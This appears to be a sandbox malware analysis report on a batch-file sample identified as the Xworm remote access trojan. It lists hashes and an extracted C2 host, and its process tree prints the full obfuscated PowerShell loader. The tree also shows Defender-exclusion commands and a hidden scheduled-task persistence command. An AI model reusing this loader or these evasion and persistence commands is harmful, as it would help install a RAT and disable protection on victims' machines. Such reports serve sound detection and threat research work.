Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    147s
  • max time network
    163s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/09/2024, 17:07

General

  • Target

    XClient.bat

  • Size

    1.2MB

  • MD5

    b8a030e706b3e3868339592f0fb3a293

  • SHA1

    c2dc760f1742cd5de9962dc60819891104be6646

  • SHA256

    c5ef061354d898c115f3047521fda46402f2516b64c70a98ccd6315b32447855

  • SHA512

    5f44c67b6540fb16148d3f3b295cf151767def898042059d2bf1c7ed3a71c938206fd47c12d642419f16719b93c954e5518d75195533b821f68607095df9c60a

  • SSDEEP

    24576:nMWULp7/e21VZf5hFIka5IcCECBRSqL7m9pSsSClzjT:vUc21VHIka5IyqL7Uf1lz

Malware Config

Extracted

Family

xworm

C2

super-nearest.gl.at.ply.gg:17835

Attributes
  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3200
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3232
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ntd78gJaNeTB9uccsBmyFEpFXYpPntO6w2gEPwqT9H4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FG5+7dZF2vZrti57+awqHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UNkgj=New-Object System.IO.MemoryStream(,$param_var); $iMhLz=New-Object System.IO.MemoryStream; $KtFfW=New-Object System.IO.Compression.GZipStream($UNkgj, [IO.Compression.CompressionMode]::Decompress); $KtFfW.CopyTo($iMhLz); $KtFfW.Dispose(); $UNkgj.Dispose(); $iMhLz.Dispose(); $iMhLz.ToArray();}function execute_function($param_var,$param2_var){ $oSAyi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OQePq=$oSAyi.EntryPoint; $OQePq.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$gqQUH = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$host.UI.RawUI.WindowTitle = $gqQUH;$YRSCz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gqQUH).Split([Environment]::NewLine);foreach ($zmTnt in $YRSCz) { if ($zmTnt.StartsWith(':: ')) { $ynWoU=$zmTnt.Substring(3); break; }}$payloads_var=[string[]]$ynWoU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $gqQUH;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1292
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_120_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_120.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4664
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_120.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:2716
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_120.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2700
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:516
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:2864
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ntd78gJaNeTB9uccsBmyFEpFXYpPntO6w2gEPwqT9H4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FG5+7dZF2vZrti57+awqHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UNkgj=New-Object System.IO.MemoryStream(,$param_var); $iMhLz=New-Object System.IO.MemoryStream; $KtFfW=New-Object System.IO.Compression.GZipStream($UNkgj, [IO.Compression.CompressionMode]::Decompress); $KtFfW.CopyTo($iMhLz); $KtFfW.Dispose(); $UNkgj.Dispose(); $iMhLz.Dispose(); $iMhLz.ToArray();}function execute_function($param_var,$param2_var){ $oSAyi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OQePq=$oSAyi.EntryPoint; $OQePq.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$gqQUH = 'C:\Users\Admin\AppData\Roaming\startup_str_120.bat';$host.UI.RawUI.WindowTitle = $gqQUH;$YRSCz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gqQUH).Split([Environment]::NewLine);foreach ($zmTnt in $YRSCz) { if ($zmTnt.StartsWith(':: ')) { $ynWoU=$zmTnt.Substring(3); break; }}$payloads_var=[string[]]$ynWoU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $gqQUH;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:3704
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4396
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2000

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        661739d384d9dfd807a089721202900b

        SHA1

        5b2c5d6a7122b4ce849dc98e79a7713038feac55

        SHA256

        70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

        SHA512

        81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        3c2a00f0fd823b88bf228b8472979845

        SHA1

        5dcc2f4e9282bdeb5d9f1b4ff6e790b8636d1482

        SHA256

        aaabc9856198107bc7a94bff5bcba1cd02e7adc24527e8794300e57ee7dd2ba4

        SHA512

        7f90eedab256355659676eddfa504a6fb08f016c610166b4abbea5b0d6a94a1c834ebae011eefdd68e23df4558c3a72c33ef887de7d62d70ea179bbd8b01fce9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        d28a889fd956d5cb3accfbaf1143eb6f

        SHA1

        157ba54b365341f8ff06707d996b3635da8446f7

        SHA256

        21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

        SHA512

        0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wm4xgeit.zbo.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\startup_str_120.bat

        Filesize

        1.2MB

        MD5

        b8a030e706b3e3868339592f0fb3a293

        SHA1

        c2dc760f1742cd5de9962dc60819891104be6646

        SHA256

        c5ef061354d898c115f3047521fda46402f2516b64c70a98ccd6315b32447855

        SHA512

        5f44c67b6540fb16148d3f3b295cf151767def898042059d2bf1c7ed3a71c938206fd47c12d642419f16719b93c954e5518d75195533b821f68607095df9c60a

      • C:\Users\Admin\AppData\Roaming\startup_str_120.vbs

        Filesize

        115B

        MD5

        38ecd8a0fb1393c7394095882a71f131

        SHA1

        f17201d2d2e00167e7786766b2da546b5e50c028

        SHA256

        1ea700303afd0e245e8342593f0da8c65ddad1509fd7b6e4401277079b227d61

        SHA512

        f377054e2b68b07d39bdf2c9d33ce0565b9b1dbddc3631af7a0d8624fd58df437c3671b507f4942a1a444de7edf86c4b7ab150f21f1807b064e358ebd3645573

      • memory/1292-39-0x00007FF9F83B3000-0x00007FF9F83B5000-memory.dmp

        Filesize

        8KB

      • memory/1292-40-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

        Filesize

        10.8MB

      • memory/1292-1-0x00000259F8B60000-0x00000259F8B82000-memory.dmp

        Filesize

        136KB

      • memory/1292-41-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

        Filesize

        10.8MB

      • memory/1292-0-0x00007FF9F83B3000-0x00007FF9F83B5000-memory.dmp

        Filesize

        8KB

      • memory/1292-14-0x00000259F8DB0000-0x00000259F8DC4000-memory.dmp

        Filesize

        80KB

      • memory/1292-13-0x00000259DE820000-0x00000259DE828000-memory.dmp

        Filesize

        32KB

      • memory/1292-12-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

        Filesize

        10.8MB

      • memory/1292-11-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

        Filesize

        10.8MB

      • memory/3704-52-0x0000015C71550000-0x0000015C7156A000-memory.dmp

        Filesize

        104KB

      • memory/4664-30-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

        Filesize

        10.8MB

      • memory/4664-16-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

        Filesize

        10.8MB

      • memory/4664-27-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

        Filesize

        10.8MB

      • memory/4664-26-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

        Filesize

        10.8MB